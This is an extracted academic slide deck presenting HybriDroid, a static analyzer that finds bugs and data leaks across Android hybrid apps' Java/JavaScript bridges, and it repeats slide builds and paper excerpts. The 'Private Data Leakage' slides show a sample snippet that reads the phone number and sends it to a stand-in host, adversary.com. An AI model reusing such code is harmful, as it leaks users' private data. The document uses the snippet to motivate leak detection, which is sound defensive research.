39
HybriDroid: Static Analysis Framework for Android Hybrid Applications Sungho Lee KAIST Julian Dolby IBM Research Sukyoung Ryu KAIST SIGPL Summer School 2017 ASE 2016

ASE 2016 HybriDroid - SIGPL · developers often obfuscate their apps before deployment; be-cause obfuscation changes names of classes, methods, and fields to meaningless names, it

  • Upload
    others

  • View
    2

  • Download
    0

Embed Size (px)

Citation preview

Page 1: ASE 2016 HybriDroid - SIGPL · developers often obfuscate their apps before deployment; be-cause obfuscation changes names of classes, methods, and fields to meaningless names, it

HybriDroid: Static Analysis Framework for Android Hybrid Applications

Sungho Lee KAIST

Julian Dolby IBM Research

Sukyoung Ryu KAIST

SIGPL Summer School 2017

ASE 2016

Page 2: ASE 2016 HybriDroid - SIGPL · developers often obfuscate their apps before deployment; be-cause obfuscation changes names of classes, methods, and fields to meaningless names, it

HybriDroid: Static Analysis Framework for Android Hybrid Applications

Android App Market

2

Source: Statista, 2017

0

750000

1500000

2250000

3000000

Google Play Apple Store Windows Store Amazon Store Blackberry World

2,800,000

2,200,000

669,000 600,000

234,500

Page 3: ASE 2016 HybriDroid - SIGPL · developers often obfuscate their apps before deployment; be-cause obfuscation changes names of classes, methods, and fields to meaningless names, it

HybriDroid: Static Analysis Framework for Android Hybrid Applications

Three Types of Android Apps

3

Android Java Android Java

JavaScript

C / C++

Android Java

Page 4: ASE 2016 HybriDroid - SIGPL · developers often obfuscate their apps before deployment; be-cause obfuscation changes names of classes, methods, and fields to meaningless names, it

HybriDroid: Static Analysis Framework for Android Hybrid Applications

Three Types of Android Apps

3

Android Java

C / C++

JavaScript

Android JavaAndroid Java“2014 - 2015년, 앱 개발시에 가장 선호하는 개발

방법은 하이브리드 앱” OutSystems

source: http://www.hlmtemp35.com/cm/dpl/downloads/ articles/236/Mobile-Trend-Statistics-Survey-2014.pdf

source: https:// www.outsystems.com/1/mobility-custom-apps-report

“2016년까지 50%이상의 모바일 앱이 하이브리드 앱으로 개발될 것”

Gartner - Janessa Rivera

source: http://www.gartner.com/newsroom/id/2324917

Page 5: ASE 2016 HybriDroid - SIGPL · developers often obfuscate their apps before deployment; be-cause obfuscation changes names of classes, methods, and fields to meaningless names, it

HybriDroid: Static Analysis Framework for Android Hybrid Applications

Android Java 와 JavaScript로 개발된

안드로이드 하이브리드 앱의

결함 및 보안 취약성 검출

4

Page 6: ASE 2016 HybriDroid - SIGPL · developers often obfuscate their apps before deployment; be-cause obfuscation changes names of classes, methods, and fields to meaningless names, it

HybriDroid: Static Analysis Framework for Android Hybrid Applications

Android Java 와 JavaScript로 개발된

안드로이드 하이브리드 앱의

결함 및 보안 취약성 검출

4

Page 7: ASE 2016 HybriDroid - SIGPL · developers often obfuscate their apps before deployment; be-cause obfuscation changes names of classes, methods, and fields to meaningless names, it

HybriDroid: Static Analysis Framework for Android Hybrid Applications

Flood of Mobile Platforms

5

Page 8: ASE 2016 HybriDroid - SIGPL · developers often obfuscate their apps before deployment; be-cause obfuscation changes names of classes, methods, and fields to meaningless names, it

HybriDroid: Static Analysis Framework for Android Hybrid Applications

Building an App for Multiple Platforms

6

Page 9: ASE 2016 HybriDroid - SIGPL · developers often obfuscate their apps before deployment; be-cause obfuscation changes names of classes, methods, and fields to meaningless names, it

HybriDroid: Static Analysis Framework for Android Hybrid Applications

Building an App for Multiple Platforms

7

Page 10: ASE 2016 HybriDroid - SIGPL · developers often obfuscate their apps before deployment; be-cause obfuscation changes names of classes, methods, and fields to meaningless names, it

HybriDroid: Static Analysis Framework for Android Hybrid Applications

Building an App for Multiple Platforms

7

Page 11: ASE 2016 HybriDroid - SIGPL · developers often obfuscate their apps before deployment; be-cause obfuscation changes names of classes, methods, and fields to meaningless names, it

HybriDroid: Static Analysis Framework for Android Hybrid Applications

Hybrid Applications

8

Objective-C or Swift Android Java C#, C++, …

Page 12: ASE 2016 HybriDroid - SIGPL · developers often obfuscate their apps before deployment; be-cause obfuscation changes names of classes, methods, and fields to meaningless names, it

HybriDroid: Static Analysis Framework for Android Hybrid Applications

Hybrid Applications

8

Objective-C or Swift Android Java C#, C++, …

HTML & JavaScript

Page 13: ASE 2016 HybriDroid - SIGPL · developers often obfuscate their apps before deployment; be-cause obfuscation changes names of classes, methods, and fields to meaningless names, it

HybriDroid: Static Analysis Framework for Android Hybrid Applications

Hybrid Applications

8

Objective-C or Swift Android Java C#, C++, …

HTML & JavaScript

Page 14: ASE 2016 HybriDroid - SIGPL · developers often obfuscate their apps before deployment; be-cause obfuscation changes names of classes, methods, and fields to meaningless names, it

HybriDroid: Static Analysis Framework for Android Hybrid Applications

Bugs and Security Issues in Hybrid Apps

9

“CAUTION: … third-party JavaScript libraries or an untrusted child iframe from a different domain may access those exposed methods in

the Java layer” Building Hybrid Android Apps with Java and JavaScript, 2013

“Hybrid applications have the combined security risks of the other two types. ”

Ensuring application security in mobile device environments, IBM’13

“hybrid app의 bug관련 review가 압도적으로 많음” End Users’ Perception of Hybrid Mobile Apps in the Google Play Store (MS’15)

Page 15: ASE 2016 HybriDroid - SIGPL · developers often obfuscate their apps before deployment; be-cause obfuscation changes names of classes, methods, and fields to meaningless names, it

HybriDroid: Static Analysis Framework for Android Hybrid Applications

Structure of Hybrid Apps

10

Mobile App

Web Browser

Page 16: ASE 2016 HybriDroid - SIGPL · developers often obfuscate their apps before deployment; be-cause obfuscation changes names of classes, methods, and fields to meaningless names, it

HybriDroid: Static Analysis Framework for Android Hybrid Applications

Structure of Android Hybrid Apps

11

Mobile App

Web Browser

Android Java

JavaScript

Inter-language Communication

Page 17: ASE 2016 HybriDroid - SIGPL · developers often obfuscate their apps before deployment; be-cause obfuscation changes names of classes, methods, and fields to meaningless names, it

HybriDroid: Static Analysis Framework for Android Hybrid Applications

Inter-language Communication

12

Web Browser

Android Java JavaScript

Page 18: ASE 2016 HybriDroid - SIGPL · developers often obfuscate their apps before deployment; be-cause obfuscation changes names of classes, methods, and fields to meaningless names, it

HybriDroid: Static Analysis Framework for Android Hybrid Applications

Inter-language Communication

12

Web Browser

JavaScript BridgeJava Bridge

Android Java JavaScript

Page 19: ASE 2016 HybriDroid - SIGPL · developers often obfuscate their apps before deployment; be-cause obfuscation changes names of classes, methods, and fields to meaningless names, it

HybriDroid: Static Analysis Framework for Android Hybrid Applications

Inter-language Communication

13

Android Java JavaScript

Class JSApp { @JavascriptInterface public int alert(String m) { … } …

}

addJavascriptInterface( new JSApp(), “app”);

Java Bridge

app.alert(“hello hybrid”);

JavaScript Bridge

Page 20: ASE 2016 HybriDroid - SIGPL · developers often obfuscate their apps before deployment; be-cause obfuscation changes names of classes, methods, and fields to meaningless names, it

HybriDroid: Static Analysis Framework for Android Hybrid Applications

Buggy Semantics

14

Android Java JavaScript

Class JSApp { @JavascriptInterface public double divide( int a, int b) { return a/b; } …

}

addJavascriptInterface( new JSApp(), “app”);

Java Bridge

var list = [0,1,2,3,4]; var a = list[3]; var b = list[?];

if(b !== 0) app.divide(a, b);

JavaScript Bridge

divide by zero?

Page 21: ASE 2016 HybriDroid - SIGPL · developers often obfuscate their apps before deployment; be-cause obfuscation changes names of classes, methods, and fields to meaningless names, it

HybriDroid: Static Analysis Framework for Android Hybrid Applications

Buggy Semantics

14

Android Java JavaScript

Class JSApp { @JavascriptInterface public double divide( int a, int b) { return a/b; } …

}

addJavascriptInterface( new JSApp(), “app”);

Java Bridge

var list = [0,1,2,3,4]; var a = list[3]; var b = list[5];

if(b !== 0) app.divide(a, b);

JavaScript Bridge

divide by zero! b = undefinedb = 0

Page 22: ASE 2016 HybriDroid - SIGPL · developers often obfuscate their apps before deployment; be-cause obfuscation changes names of classes, methods, and fields to meaningless names, it

HybriDroid: Static Analysis Framework for Android Hybrid Applications

Private Data Leakage

15

Android Java

JavaScript

Java Bridge

JavaScript Bridge

class JSApp { String getPhoneNumber(){ TelephonyManager tMgr = context.getSystemService(

Context.TELEPHONY_SERVICE); return tMgr.getLine1Number();

} }

addJavascriptInterface(new JSApp(), “app”);

var phoneNumber = app.getPhoneNumber(); var xhr = new XMLHttpRequest(); xht.open(“GET”, “http://adversary.com/malicious”); xhr.send(phoneNumber);

Page 23: ASE 2016 HybriDroid - SIGPL · developers often obfuscate their apps before deployment; be-cause obfuscation changes names of classes, methods, and fields to meaningless names, it

HybriDroid: Static Analysis Framework for Android Hybrid Applications

Private Data Leakage

15

Android Java

JavaScript

Java Bridge

JavaScript Bridge

class JSApp{ String getPhoneNumber(){ TelephonyManager tMgr = context.getSystemService(

Context.TELEPHONY_SERVICE); return tMgr.getLine1Number();

} }

addJavascriptInterface(new JSApp(), “app”);

var phoneNumber = app.getPhoneNumber(); var xhr = new XMLHttpRequest(); xht.open(“GET”, “http://adversary.com/malicious”); xhr.send(phoneNumber);

1

2

3

Page 24: ASE 2016 HybriDroid - SIGPL · developers often obfuscate their apps before deployment; be-cause obfuscation changes names of classes, methods, and fields to meaningless names, it

HybriDroid: Static Analysis Framework for Android Hybrid Applications

HybriDroid: Cross-language Analysis

16

WALAJavaScriptWALAAndroid

Inter Comm.

Semantics

JS Java Function Call

Semantics

JS Java Type Conversion

Rules

Page 25: ASE 2016 HybriDroid - SIGPL · developers often obfuscate their apps before deployment; be-cause obfuscation changes names of classes, methods, and fields to meaningless names, it

HybriDroid: Static Analysis Framework for Android Hybrid Applications

HybriDroid: Add-on Modules

17

WALAJavaScriptWALAAndroid

Inter Comm.

Semantics

Bug Detector Taint Analyzer

Page 26: ASE 2016 HybriDroid - SIGPL · developers often obfuscate their apps before deployment; be-cause obfuscation changes names of classes, methods, and fields to meaningless names, it

HybriDroid: Static Analysis Framework for Android Hybrid Applications

HybriDroid: Bug Pattern

• MethodNotFound

• MethodNotExecuted

• IncompatibleTypeConversion

• TypeOverloadedMethod

18

Page 27: ASE 2016 HybriDroid - SIGPL · developers often obfuscate their apps before deployment; be-cause obfuscation changes names of classes, methods, and fields to meaningless names, it

HybriDroid: Static Analysis Framework for Android Hybrid Applications

HybriDroid: Bug Pattern

19

Android Java JavaScript

Class JSApp { @JavascriptInterface public int alert(String m) { … } …

}

addJavascriptInterface( new JSApp(), “app”);

Java Bridge

app.alert(“hello hybrid”, 3);

JavaScript Bridge

Page 28: ASE 2016 HybriDroid - SIGPL · developers often obfuscate their apps before deployment; be-cause obfuscation changes names of classes, methods, and fields to meaningless names, it

HybriDroid: Static Analysis Framework for Android Hybrid Applications

HybriDroid: Bug Pattern

19

Android Java JavaScript

Class JSApp { @JavascriptInterface public int alert(String m) { … } …

}

addJavascriptInterface( new JSApp(), “app”);

Java Bridge

app.alert(“hello hybrid”, 3);

JavaScript Bridge

MethodNotFound함수 호출 시 인자의 개수가 다른 경우, JavaScript

exception 발생

Method Not Found Exception!

Page 29: ASE 2016 HybriDroid - SIGPL · developers often obfuscate their apps before deployment; be-cause obfuscation changes names of classes, methods, and fields to meaningless names, it

HybriDroid: Static Analysis Framework for Android Hybrid Applications

HybriDroid: Bug Pattern

20

Android Java JavaScript

Class JSApp { @JavascriptInterface public int[] alert(String m) { … } …

}

addJavascriptInterface( new JSApp(), “app”);

Java Bridge

app.alert(“hello hybrid”);

JavaScript Bridge

Page 30: ASE 2016 HybriDroid - SIGPL · developers often obfuscate their apps before deployment; be-cause obfuscation changes names of classes, methods, and fields to meaningless names, it

HybriDroid: Static Analysis Framework for Android Hybrid Applications

HybriDroid: Bug Pattern

20

Android Java JavaScript

Class JSApp { @JavascriptInterface public int[] alert(String m) { … } …

}

addJavascriptInterface( new JSApp(), “app”);

Java Bridge

app.alert(“hello hybrid”);

JavaScript Bridge

MethodNotExecuteJava method의 return type이 array type인 경우, function call instruction이 무시

?

Page 31: ASE 2016 HybriDroid - SIGPL · developers often obfuscate their apps before deployment; be-cause obfuscation changes names of classes, methods, and fields to meaningless names, it

HybriDroid: Static Analysis Framework for Android Hybrid Applications

HybriDroid: Bug Pattern

21

Android Java JavaScript

Class JSApp { @JavascriptInterface public int alert(int x) { … } …

}

addJavascriptInterface( new JSApp(), “app”);

Java Bridge

app.alert(“hello hybrid”);

JavaScript Bridge

Page 32: ASE 2016 HybriDroid - SIGPL · developers often obfuscate their apps before deployment; be-cause obfuscation changes names of classes, methods, and fields to meaningless names, it

HybriDroid: Static Analysis Framework for Android Hybrid Applications

HybriDroid: Bug Pattern

21

Android Java JavaScript

Class JSApp { @JavascriptInterface public int alert(int x) { … } …

}

addJavascriptInterface( new JSApp(), “app”);

Java Bridge

app.alert(“hello hybrid”);

JavaScript Bridge

IncompatibleTypeConversion인자로 전달된 값의 type이 Java의 type으로 변환이 불가능 한 경우, type에 맞는 default값으로 변환

x = 0

Page 33: ASE 2016 HybriDroid - SIGPL · developers often obfuscate their apps before deployment; be-cause obfuscation changes names of classes, methods, and fields to meaningless names, it

HybriDroid: Static Analysis Framework for Android Hybrid Applications

HybriDroid: Bug Pattern

22

Android Java JavaScript

Class JSApp { @JavascriptInterface public int alert(int x) { … }

public int alert(String x) { … } …

}

addJavascriptInterface( new JSApp(), “app”);

Java Bridge

app.alert(“hello hybrid”);

JavaScript Bridge

Page 34: ASE 2016 HybriDroid - SIGPL · developers often obfuscate their apps before deployment; be-cause obfuscation changes names of classes, methods, and fields to meaningless names, it

HybriDroid: Static Analysis Framework for Android Hybrid Applications

HybriDroid: Bug Pattern

22

Android Java JavaScript

Class JSApp { @JavascriptInterface public int alert(int x) { … }

public int alert(String x) { … } …

}

addJavascriptInterface( new JSApp(), “app”);

Java Bridge

app.alert(“hello hybrid”);

JavaScript Bridge

TypeOverloadedMethodJava method가 type에 의해 overloaded된 경우,

특정 method의 호출을 보장하지 않음?

Page 35: ASE 2016 HybriDroid - SIGPL · developers often obfuscate their apps before deployment; be-cause obfuscation changes names of classes, methods, and fields to meaningless names, it

HybriDroid: Static Analysis Framework for Android Hybrid Applications

HybriDroid: Bug Detection Results

23

Table 3: Bug detection results

Rank Hybrid App Bug Type (#) #FP#TP Bug Cause (#) Time

1 – 100

com.gameloft.android.ANMP.GloftDMHM MethodNotFound (1) 0 1 Obfuscation (1) 2404 sec.com.creativemobile.DragRacing MethodNotFound (1) 1 0 3192 sec.com.gau.go.launcherex MethodNotFound (2) 2 0 5432 sec.com.tripadvisor.tripadvisor MethodNotFound (1) 0 1 Obfuscation (1) 4028 sec.com.dianxinos.dxbs MethodNotFound (1) 0 1 Obfuscation (1) 1924 sec.

10,000 – 10,100 com.magmamobile.game.LostWords MethodNotFound (1) 1 0 475 sec.20,000 – 20,100 com.daishin MethodNotFound (1) 0 1 Undeclared Method (1) 6572 sec.

100,000 – 100,100

com.carezone.caredroid.careapp MethodNotFound (5) 0 5 Missing Annotation (5) 2357 sec.com.pateam.kanomthai MethodNotFound (2) 0 2 Missing Annotation (2) 4209 sec.com.acc5.l6 MethodNotFound (6) 0 6 Missing Annotation (6) 367 sec.jp.cleanup.android MethodNotFound (1) 1 0 253 sec.ligamexicana.futbol MethodNotFound (2) 2 0 253 sec.

200,000 – 200,100com.sysapk.weighter MethodNotFound (1) 0 1 Missing Annotation (1) 106 sec.com.youmustescape3guide.free MethodNotFound (6) 0 6 Missing Annotation (6) 445 sec.

Total MethodNotFound (31) 7 24Missing Annotation (20)

Obfuscation (3) 2287 sec.Undeclared Method (1)

WebView Callback Supports.As we discussed in Section 2, because bridge communica-

tion supports interaction between Java and JavaScript moredirectly than callback communication, we consider only thebridge communication mechanism in this paper. We maywant to further support callback communication.

Android Java and JavaScript Analysis.Even though HybriDroid focuses on inter-language commu-

nication analysis, the analysis quality depends on the under-lying analysis of Java and JavaScript. Because WALA sup-ports only flow-insensitive analyses and because it does notsupport extensive DOM modeling, HybriDroid can further beimproved by using advanced baseline analyzers.

6. EVALUATIONIn this section, we show the usefulness of HybriDroid by

presenting previously uncovered issues detected by Bug De-tector (Section 6.1) and Taint Analyzer (Section 6.2).

6.1 Real-World Bug DetectionTo evaluate the quality of Android hybrid apps in terms of

the bugs defined in Section 5.2, we collected real-world An-droid apps using PlayDrone, a Google Play Store crawler [50].We downloaded 100 apps each from rankings 1, 10000, 20000,100000, and 200000, and chose hybrid apps that use bridgecommunication among them. We collected all 48 hybrid appsfrom the ranks 1 to 100, and 10 hybrid apps each for theother ranks, which amounts to 88 hybrid apps in total.

We analyzed these target hybrid apps with Bug Detectorand manually verified the reported bugs as summarized inTable 3. The first column presents the ranking groups, thesecond column presents the apps that have reported bugs,and the remaining columns present the bug types, the num-bers of unique bugs, the numbers of false positives and truepositives, the causes of the bugs, and the time in seconds.

Among 88 target hybrid apps, the tool reports that 14apps may contain 31 bugs. We observed that 9 apps con-tain 24 true alarms and the other 5 apps contain 7 falsealarms. Surprisingly, all 24 true alarms are MethodNotFound.We found that hybrid app developers use bridge commu-nication carefully without manipulating bridge objects and

bridge methods; they simply call bridge methods. Moreover,most arguments to bridge methods are JavaScript strings.Out of 24 true bugs, 20 bugs are caused by the missing

JavascriptInterface annotation, 1 bug is because of callingan undefined method, and 3 bugs are due to wrong obfusca-tion. To protect Android apps from repackaging attacks [51],developers often obfuscate their apps before deployment; be-cause obfuscation changes names of classes, methods, andfields to meaningless names, it may make reversing of theapps di�cult. Google o�cially supports apk obfuscation byProGuard since April 2016 [23, 26]. However, because onlyJava code is obfuscated, JavaScript code still accesses bridgemethods using their original names even after obfuscation inJava. In order to avoid these bugs, developers should not ob-fuscate the accessible Java methods from JavaScript.We observed that all 7 false positives are due to the im-

precise string analysis. When the string analysis fails to findconcrete values for the arguments of loadUrl, the tool re-gards that all local web pages can be loaded, which may betoo conservative. We believe that a better string analysiswould improve the analysis precision of HybriDroid.

6.2 Private Data Leakage DetectionTo investigate security issues in ad platforms, we manually

inspected all 48 hybrid apps in top 100 Android apps in theGoogle Play Store. We found 19 ad platforms used by them,identified 5 among them using bridge communication, andobserved that 3 ad platforms (InMobi [1], Supersonic [3], andMillennial Media [34]) require rather aggressive permissionslike external storage accesses and audio recording.Among them, we closely examined InMobi, which exposes

powerful Java methods including makeCall, sendMail, take-CameraPicture, and getGalleryImage [11]. When a hybrid appthat integrates InMobi runs, InMobi fetches ads to the app.To analyze the InMobi ad source code, we extract the HTMLand JavaScript code of the fetched ad using the Chrome re-mote debugging tool [20]. The extracted JavaScript mraid.jscontains various functions that call Java methods as follows:

a.getGalleryImage = function() {return sdkController.getGalleryImage("window.imraidview")

}

To evaluate whether Taint Analyzer detects possible privacyleaks, we created a sample hybrid app that simply loads a

Page 36: ASE 2016 HybriDroid - SIGPL · developers often obfuscate their apps before deployment; be-cause obfuscation changes names of classes, methods, and fields to meaningless names, it

HybriDroid: Static Analysis Framework for Android Hybrid Applications

HybriDroid: Bug Detection Results

23

Table 3: Bug detection results

Rank Hybrid App Bug Type (#) #FP#TP Bug Cause (#) Time

1 – 100

com.gameloft.android.ANMP.GloftDMHM MethodNotFound (1) 0 1 Obfuscation (1) 2404 sec.com.creativemobile.DragRacing MethodNotFound (1) 1 0 3192 sec.com.gau.go.launcherex MethodNotFound (2) 2 0 5432 sec.com.tripadvisor.tripadvisor MethodNotFound (1) 0 1 Obfuscation (1) 4028 sec.com.dianxinos.dxbs MethodNotFound (1) 0 1 Obfuscation (1) 1924 sec.

10,000 – 10,100 com.magmamobile.game.LostWords MethodNotFound (1) 1 0 475 sec.20,000 – 20,100 com.daishin MethodNotFound (1) 0 1 Undeclared Method (1) 6572 sec.

100,000 – 100,100

com.carezone.caredroid.careapp MethodNotFound (5) 0 5 Missing Annotation (5) 2357 sec.com.pateam.kanomthai MethodNotFound (2) 0 2 Missing Annotation (2) 4209 sec.com.acc5.l6 MethodNotFound (6) 0 6 Missing Annotation (6) 367 sec.jp.cleanup.android MethodNotFound (1) 1 0 253 sec.ligamexicana.futbol MethodNotFound (2) 2 0 253 sec.

200,000 – 200,100com.sysapk.weighter MethodNotFound (1) 0 1 Missing Annotation (1) 106 sec.com.youmustescape3guide.free MethodNotFound (6) 0 6 Missing Annotation (6) 445 sec.

Total MethodNotFound (31) 7 24Missing Annotation (20)

Obfuscation (3) 2287 sec.Undeclared Method (1)

WebView Callback Supports.As we discussed in Section 2, because bridge communica-

tion supports interaction between Java and JavaScript moredirectly than callback communication, we consider only thebridge communication mechanism in this paper. We maywant to further support callback communication.

Android Java and JavaScript Analysis.Even though HybriDroid focuses on inter-language commu-

nication analysis, the analysis quality depends on the under-lying analysis of Java and JavaScript. Because WALA sup-ports only flow-insensitive analyses and because it does notsupport extensive DOM modeling, HybriDroid can further beimproved by using advanced baseline analyzers.

6. EVALUATIONIn this section, we show the usefulness of HybriDroid by

presenting previously uncovered issues detected by Bug De-tector (Section 6.1) and Taint Analyzer (Section 6.2).

6.1 Real-World Bug DetectionTo evaluate the quality of Android hybrid apps in terms of

the bugs defined in Section 5.2, we collected real-world An-droid apps using PlayDrone, a Google Play Store crawler [50].We downloaded 100 apps each from rankings 1, 10000, 20000,100000, and 200000, and chose hybrid apps that use bridgecommunication among them. We collected all 48 hybrid appsfrom the ranks 1 to 100, and 10 hybrid apps each for theother ranks, which amounts to 88 hybrid apps in total.

We analyzed these target hybrid apps with Bug Detectorand manually verified the reported bugs as summarized inTable 3. The first column presents the ranking groups, thesecond column presents the apps that have reported bugs,and the remaining columns present the bug types, the num-bers of unique bugs, the numbers of false positives and truepositives, the causes of the bugs, and the time in seconds.

Among 88 target hybrid apps, the tool reports that 14apps may contain 31 bugs. We observed that 9 apps con-tain 24 true alarms and the other 5 apps contain 7 falsealarms. Surprisingly, all 24 true alarms are MethodNotFound.We found that hybrid app developers use bridge commu-nication carefully without manipulating bridge objects and

bridge methods; they simply call bridge methods. Moreover,most arguments to bridge methods are JavaScript strings.Out of 24 true bugs, 20 bugs are caused by the missing

JavascriptInterface annotation, 1 bug is because of callingan undefined method, and 3 bugs are due to wrong obfusca-tion. To protect Android apps from repackaging attacks [51],developers often obfuscate their apps before deployment; be-cause obfuscation changes names of classes, methods, andfields to meaningless names, it may make reversing of theapps di�cult. Google o�cially supports apk obfuscation byProGuard since April 2016 [23, 26]. However, because onlyJava code is obfuscated, JavaScript code still accesses bridgemethods using their original names even after obfuscation inJava. In order to avoid these bugs, developers should not ob-fuscate the accessible Java methods from JavaScript.We observed that all 7 false positives are due to the im-

precise string analysis. When the string analysis fails to findconcrete values for the arguments of loadUrl, the tool re-gards that all local web pages can be loaded, which may betoo conservative. We believe that a better string analysiswould improve the analysis precision of HybriDroid.

6.2 Private Data Leakage DetectionTo investigate security issues in ad platforms, we manually

inspected all 48 hybrid apps in top 100 Android apps in theGoogle Play Store. We found 19 ad platforms used by them,identified 5 among them using bridge communication, andobserved that 3 ad platforms (InMobi [1], Supersonic [3], andMillennial Media [34]) require rather aggressive permissionslike external storage accesses and audio recording.Among them, we closely examined InMobi, which exposes

powerful Java methods including makeCall, sendMail, take-CameraPicture, and getGalleryImage [11]. When a hybrid appthat integrates InMobi runs, InMobi fetches ads to the app.To analyze the InMobi ad source code, we extract the HTMLand JavaScript code of the fetched ad using the Chrome re-mote debugging tool [20]. The extracted JavaScript mraid.jscontains various functions that call Java methods as follows:

a.getGalleryImage = function() {return sdkController.getGalleryImage("window.imraidview")

}

To evaluate whether Taint Analyzer detects possible privacyleaks, we created a sample hybrid app that simply loads a

“If your project uses WebView with JS, uncomment the following and specify the fully qualified class name to the JavaScript interface class:”

Comment of ProGuard Rules

source: http://www.calvin.edu/~cjn8/ks/KnowledgeShare/app/proguard-rules.pro

Page 37: ASE 2016 HybriDroid - SIGPL · developers often obfuscate their apps before deployment; be-cause obfuscation changes names of classes, methods, and fields to meaningless names, it

HybriDroid: Static Analysis Framework for Android Hybrid Applications

HybriDroid: Bug Detection Results

23

Table 3: Bug detection results

Rank Hybrid App Bug Type (#) #FP#TP Bug Cause (#) Time

1 – 100

com.gameloft.android.ANMP.GloftDMHM MethodNotFound (1) 0 1 Obfuscation (1) 2404 sec.com.creativemobile.DragRacing MethodNotFound (1) 1 0 3192 sec.com.gau.go.launcherex MethodNotFound (2) 2 0 5432 sec.com.tripadvisor.tripadvisor MethodNotFound (1) 0 1 Obfuscation (1) 4028 sec.com.dianxinos.dxbs MethodNotFound (1) 0 1 Obfuscation (1) 1924 sec.

10,000 – 10,100 com.magmamobile.game.LostWords MethodNotFound (1) 1 0 475 sec.20,000 – 20,100 com.daishin MethodNotFound (1) 0 1 Undeclared Method (1) 6572 sec.

100,000 – 100,100

com.carezone.caredroid.careapp MethodNotFound (5) 0 5 Missing Annotation (5) 2357 sec.com.pateam.kanomthai MethodNotFound (2) 0 2 Missing Annotation (2) 4209 sec.com.acc5.l6 MethodNotFound (6) 0 6 Missing Annotation (6) 367 sec.jp.cleanup.android MethodNotFound (1) 1 0 253 sec.ligamexicana.futbol MethodNotFound (2) 2 0 253 sec.

200,000 – 200,100com.sysapk.weighter MethodNotFound (1) 0 1 Missing Annotation (1) 106 sec.com.youmustescape3guide.free MethodNotFound (6) 0 6 Missing Annotation (6) 445 sec.

Total MethodNotFound (31) 7 24Missing Annotation (20)

Obfuscation (3) 2287 sec.Undeclared Method (1)

WebView Callback Supports.As we discussed in Section 2, because bridge communica-

tion supports interaction between Java and JavaScript moredirectly than callback communication, we consider only thebridge communication mechanism in this paper. We maywant to further support callback communication.

Android Java and JavaScript Analysis.Even though HybriDroid focuses on inter-language commu-

nication analysis, the analysis quality depends on the under-lying analysis of Java and JavaScript. Because WALA sup-ports only flow-insensitive analyses and because it does notsupport extensive DOM modeling, HybriDroid can further beimproved by using advanced baseline analyzers.

6. EVALUATIONIn this section, we show the usefulness of HybriDroid by

presenting previously uncovered issues detected by Bug De-tector (Section 6.1) and Taint Analyzer (Section 6.2).

6.1 Real-World Bug DetectionTo evaluate the quality of Android hybrid apps in terms of

the bugs defined in Section 5.2, we collected real-world An-droid apps using PlayDrone, a Google Play Store crawler [50].We downloaded 100 apps each from rankings 1, 10000, 20000,100000, and 200000, and chose hybrid apps that use bridgecommunication among them. We collected all 48 hybrid appsfrom the ranks 1 to 100, and 10 hybrid apps each for theother ranks, which amounts to 88 hybrid apps in total.

We analyzed these target hybrid apps with Bug Detectorand manually verified the reported bugs as summarized inTable 3. The first column presents the ranking groups, thesecond column presents the apps that have reported bugs,and the remaining columns present the bug types, the num-bers of unique bugs, the numbers of false positives and truepositives, the causes of the bugs, and the time in seconds.

Among 88 target hybrid apps, the tool reports that 14apps may contain 31 bugs. We observed that 9 apps con-tain 24 true alarms and the other 5 apps contain 7 falsealarms. Surprisingly, all 24 true alarms are MethodNotFound.We found that hybrid app developers use bridge commu-nication carefully without manipulating bridge objects and

bridge methods; they simply call bridge methods. Moreover,most arguments to bridge methods are JavaScript strings.Out of 24 true bugs, 20 bugs are caused by the missing

JavascriptInterface annotation, 1 bug is because of callingan undefined method, and 3 bugs are due to wrong obfusca-tion. To protect Android apps from repackaging attacks [51],developers often obfuscate their apps before deployment; be-cause obfuscation changes names of classes, methods, andfields to meaningless names, it may make reversing of theapps di�cult. Google o�cially supports apk obfuscation byProGuard since April 2016 [23, 26]. However, because onlyJava code is obfuscated, JavaScript code still accesses bridgemethods using their original names even after obfuscation inJava. In order to avoid these bugs, developers should not ob-fuscate the accessible Java methods from JavaScript.We observed that all 7 false positives are due to the im-

precise string analysis. When the string analysis fails to findconcrete values for the arguments of loadUrl, the tool re-gards that all local web pages can be loaded, which may betoo conservative. We believe that a better string analysiswould improve the analysis precision of HybriDroid.

6.2 Private Data Leakage DetectionTo investigate security issues in ad platforms, we manually

inspected all 48 hybrid apps in top 100 Android apps in theGoogle Play Store. We found 19 ad platforms used by them,identified 5 among them using bridge communication, andobserved that 3 ad platforms (InMobi [1], Supersonic [3], andMillennial Media [34]) require rather aggressive permissionslike external storage accesses and audio recording.Among them, we closely examined InMobi, which exposes

powerful Java methods including makeCall, sendMail, take-CameraPicture, and getGalleryImage [11]. When a hybrid appthat integrates InMobi runs, InMobi fetches ads to the app.To analyze the InMobi ad source code, we extract the HTMLand JavaScript code of the fetched ad using the Chrome re-mote debugging tool [20]. The extracted JavaScript mraid.jscontains various functions that call Java methods as follows:

a.getGalleryImage = function() {return sdkController.getGalleryImage("window.imraidview")

}

To evaluate whether Taint Analyzer detects possible privacyleaks, we created a sample hybrid app that simply loads a

Obfuscation: class JSApp{ @JavascriptInterface String receive(){ …

} }

bridge.receive();

class JSApp{ @JavascriptInterface String abc(){ …

} }

bridge.receive();

Obfuscate

Page 38: ASE 2016 HybriDroid - SIGPL · developers often obfuscate their apps before deployment; be-cause obfuscation changes names of classes, methods, and fields to meaningless names, it

HybriDroid: Static Analysis Framework for Android Hybrid Applications

HybriDroid: Private Data Leakage Results

24

• Track flows from Intents to JavaScript functions + modeling of Inter-Component Communication(ICC) + Over-approximation of collection values

• Target: InMobi, advertising platform

Intent i = new Intent(Intent.ACTION_PICK); … startActivity(i); … protected void onActivityResult(…){ … } a.fireGalleryImageSelectedEvent = function(a, b, c) {

var d = new Image; d.src = "data:image/jpeg;base64," + a; d.width = b; d.height = c;

window.imraid.broadcastEvent("galleryImageSelected", d) }

Page 39: ASE 2016 HybriDroid - SIGPL · developers often obfuscate their apps before deployment; be-cause obfuscation changes names of classes, methods, and fields to meaningless names, it

HybriDroid: Static Analysis Framework for Android Hybrid Applications

Conclusion

25

• Hybrid applications

- A solution for supporting multiple platforms

- Easy to introduce programmer errors and security vulnerabilities

• HybriDroid

- Analysis framework for Android hybrid apps

- Detection of previously uncovered bugs

- Data flow analysis between language boundaries

- Available at https://github.com/wala/WALA

- https://github.com/SunghoLee/HybriDroid